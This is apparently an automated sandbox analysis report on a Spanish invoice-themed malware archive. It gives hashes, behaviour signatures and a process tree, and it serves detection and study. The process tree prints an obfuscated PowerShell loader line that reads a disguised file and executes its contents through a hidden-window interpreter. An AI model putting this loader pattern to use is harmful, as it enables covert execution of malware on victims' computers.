Analysis

  • max time kernel
    110s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    14-11-2024 10:09

General

  • Target

    FACTURA_240001920.zip

  • Size

    519KB

  • MD5

    f1fc58a97fc3f2502b7cdd0d046ecf81

  • SHA1

    02c028d780a63ccdd20b68cef08b6fa045cda1e3

  • SHA256

    ca5a0e2963dc959524712f6d71b937d20a2bf15a4fece708ede9a84b50bb2ebf

  • SHA512

    cd5ac2f3c35672aacd2916b2619099b32977c51263791c8e36f120ab69f3d9f4d79ba042377b046fc0e6466c48d29fd809566360086f8585cc726f1b4f40948d

  • SSDEEP

    12288:ATnVHUif59VXBKLDCyNJV3g3p5EpwdOyPC:AFP5rBKHy51x6

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 43 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 51 IoCs
  • Suspicious use of SendNotifyMessage 48 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\FACTURA_240001920.zip"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2388
    • C:\Users\Admin\AppData\Local\Temp\7zO4599C368\document.exe
      "C:\Users\Admin\AppData\Local\Temp\7zO4599C368\document.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2920
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -windowstyle minimized "$Skakmatterne=Get-Content -Raw 'C:\Users\Admin\AppData\Local\skydedrene\Nitallernes\sammenlimningers\Myomectomy.Und';$Elske=$Skakmatterne.SubString(43098,3);.$Elske($Skakmatterne)"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2928
    • C:\Users\Admin\AppData\Local\Temp\7zO459535B8\document.exe
      "C:\Users\Admin\AppData\Local\Temp\7zO459535B8\document.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2824
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -windowstyle minimized "$Skakmatterne=Get-Content -Raw 'C:\Users\Admin\AppData\Local\skydedrene\Nitallernes\sammenlimningers\Myomectomy.Und';$Elske=$Skakmatterne.SubString(43098,3);.$Elske($Skakmatterne)"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2536
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /4
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    PID:2808

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\7zO4599C368\document.exe

    Filesize

    548KB

    MD5

    682e0e22ac2f06d26d24cac1769e1b80

    SHA1

    1302dd34b80e32415baacafecdfe31d61d0dd563

    SHA256

    51d366ab87eb5988f96d068d503d21b801b5df4535b8851364e56cbacb8fab82

    SHA512

    083c2225192987117d84bbbdbca228937f570fe31ca90aaff3a8cf6b4c1822a1b39523424723bc596056823c338cd7db193777b36487cf732bb526176935daa2

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    19cb2b006e3d35c70a49bf37b0bc30f2

    SHA1

    d8cdcd1c6a40cc5685b561ba3dbcc541c0601bcc

    SHA256

    15fa23cdb1d2990206bba4b560216bd56e7cd5b43cd6c477082cfdaf0de4ab11

    SHA512

    32e34527249b72eec15c80feb16f4861c0223a7dea171f4b546b8d1c9c24465a0948343f9616466f15e24e1de91bfacfb79c3e4fc6537d5d2415c685aa9028b2

  • memory/2808-37-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/2808-38-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/2808-39-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB